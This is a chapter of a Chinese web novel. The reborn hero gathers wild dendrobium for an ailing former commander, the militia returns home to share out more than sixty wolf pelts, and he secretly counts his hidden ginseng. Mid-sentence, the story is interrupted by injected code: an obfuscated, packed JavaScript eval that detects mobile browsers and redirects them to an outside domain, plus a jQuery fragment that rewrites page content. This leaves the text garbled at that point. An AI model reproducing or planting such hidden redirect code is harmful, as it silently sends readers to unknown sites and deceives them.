王卫国一脸无语地看着他。
这铁皮石斛本就金贵,又长在这种要命的陡坡上,采摘难度极大。
他被藤条拴着,像个壁虎一样,一点点往下挪。
山风吹过,身子在半空中晃晃悠悠,脚下就是深不见底的黑暗,着实考验人的胆量。
王卫国费了九牛二虎之力,才小心翼翼地将那几株铁皮石斛完整地从石缝里挖了出来。
等他被李青山拉上来的时候,已经浑身是汗,瘫在地上直喘粗气。
“你……今天要是不好好补偿我,我跟你没完!”王卫国上气不接下气地说道。
“放心!”
李青山看着手里那几株泛着宝光的铁皮石斛,美滋滋地拍了拍王卫国的肩膀。
“有了这玩意儿,再加上你爷爷的面子,以后你小子进部队,有的是福气享!”
王卫国一愣。
李青山这才小心翼翼地将石斛用布包好,郑重地揣进怀里,跟他解释起来。
“这玩意儿,是送给长白军区一位老**的。”
李青山的语气变得尊敬而沉重。
“他是我和老王以前的老团长,也是你爷爷当年的老战友。”
“老**前段时间病重,刚做了大手术,肠胃伤得厉害,什么都吃不下,身体垮得很快,医生说,急需上年份的野生铁皮石斛来榨汁调养身体。”
听到这里,王卫国心里顿时一软。
前世,他后来正是被李青山推荐,去了长白军区。
那位老**,待他就像亲孙子一样,处处照顾。
老**的恩情,他一直记在心里。
没想到,这一世,竟能以这种方式,提前帮上他的忙。
“这样啊……”
王卫国原本想趁机敲一笔的念头,瞬间烟消云散。
他坐起身,神色认真了许多。
“那钱就不要了。”他想了想,又开口道。
“不过李**,你得帮我个忙。回头给我弄点工业券,最好,能再弄张钟表票来,我以后进山,没个家伙看时间,实在不方便。”
“行!”
李青山一口答应下来。
对他来说,这都是小事。
“没问题!”
两人悄悄回到营地李青山把王锦城拉到一边两个人凑在一起嘀嘀咕咕了半天。
王锦城听完看向王卫国的眼神变得更加复杂和欣赏。
第二天大部队拔营返程。
回去的路上李青山和王锦城对王卫国的行为表现出了极大的宽容。
王卫国隔三差五就捂着肚子一脸痛苦地喊着要“排便”。
“哎哟不行了不行了肯定是昨晚狼肉吃坏了肚子!”
然后一头扎进路边的林子里半天不出来。
李青山和王锦城都只是笑笑催促队伍原地休息等他回来。
没人去点破。
只是所有人都发现王卫国背上那个原本瘪瘪的包裹正以肉眼可见的速度变得越来越鼓越来越沉。
回程的路上大家都受够了这深山老林里野人般的日子。
一个个脚下生风恨不得插上翅膀立刻飞回村里。
在山里待了快一个月风餐露宿提心吊胆所有人都瘦了一圈但也变得更加精悍。
七天后当沈家村出现在视野里时队伍里爆发出了一阵欢呼。
村口翘首以盼的村民们看到人影终于长长地松了口气。
家家户户的婆娘和孩子都涌了出来围着自家男人嘘寒问暖。
李青山整了整警服站到一块大石头上清了清嗓子。
“这次任务圆满完成!”
他的声音洪亮带着一股子振奋人心的力量。
“大家辛苦了!我代表**队伍感谢沈家村和各位民兵同志的鼎力支持!回去后我一定给你们请功!”
“好!”
民兵队里顿时响起一片雷鸣般的叫好声汉子们黝黑的脸上都放着光。
请功这可是实打实的荣誉。
李青山目光扫过众人最后落在王卫国身上
他很默契地没有提那六十多张狼皮的事那是民兵队应得的战利品。
他一挥手带着**队伍和那些垂头丧气的俘虏先行离开了。
李青山一走民兵队的气氛瞬间就炸开了锅。
“发财了!发财了!”
“六十多张狼皮啊!我的天!”
汉子们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410888|184587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
围着那几匹驮着狼皮的骡子,眼睛都红了。
“这皮子有好有坏,一张张分肯定要打起来。”
王卫国拍了拍手,把众人的注意力吸引过来。
“我提个建议。”
他声音不大,但所有人都立刻安静下来,等着他的下文。
“咱们今晚一起动手,把这些狼皮都硝制好,等弄好了,拉到县里收购站统一卖掉,卖了钱,大家按人头平分怎么样?”
这个提议,公平公正,谁也挑不出毛病。
“好!”
“就听卫国的!”
众人齐声应和。
经过这次剿匪,王卫国在民兵队里的威望,已经达到了顶峰。
他现在说的话,比村长还管用。
说干就干。
整个沈家村都动员了起来,烧水的烧水,找工具的找工具。
汉子们在王卫国的指挥下,有条不紊地处理着狼皮,刮油,去肉,上硝……
忙活到大半夜,终于把所有狼皮都处理妥当,晾晒了起来。
折腾了这么久,大家也都累了,终于能躺在安稳的草垛上,一个个很快就发出了震天的鼾声。
王卫国却毫无睡意。
他悄悄回到自己家,关上房门,借着微弱的煤油灯光,小心翼翼地打开了自己那个鼓鼓囊囊的包裹。
包裹一打开,一股浓郁的土腥味和药香味就弥漫开来。
八株大小不一的老山参,静静地躺在里面。
王卫国一株株地拿出来,仔细清点着自己的收获,脸上的笑容美滋滋的。
可当他拿起其中三株时,脸上的笑容瞬间凝固了。
“**!”
王卫国低声咒骂了一句,心疼得直抽抽。
有三株人参,因为放在包裹里一路颠簸,几根最关键的参须,竟然折断了。
更要命的是,断掉的,偏偏还是年份最高的那两株!
人参这东西,讲究的就是一个“完整”,根须齐全,品相完好,才能卖上高价。
一旦根须折断,元气外泄,价值立刻就会大打折扣。
王卫国捧着那两株断了须的老山参,心疼得差点滴出血来。
这可是钱啊!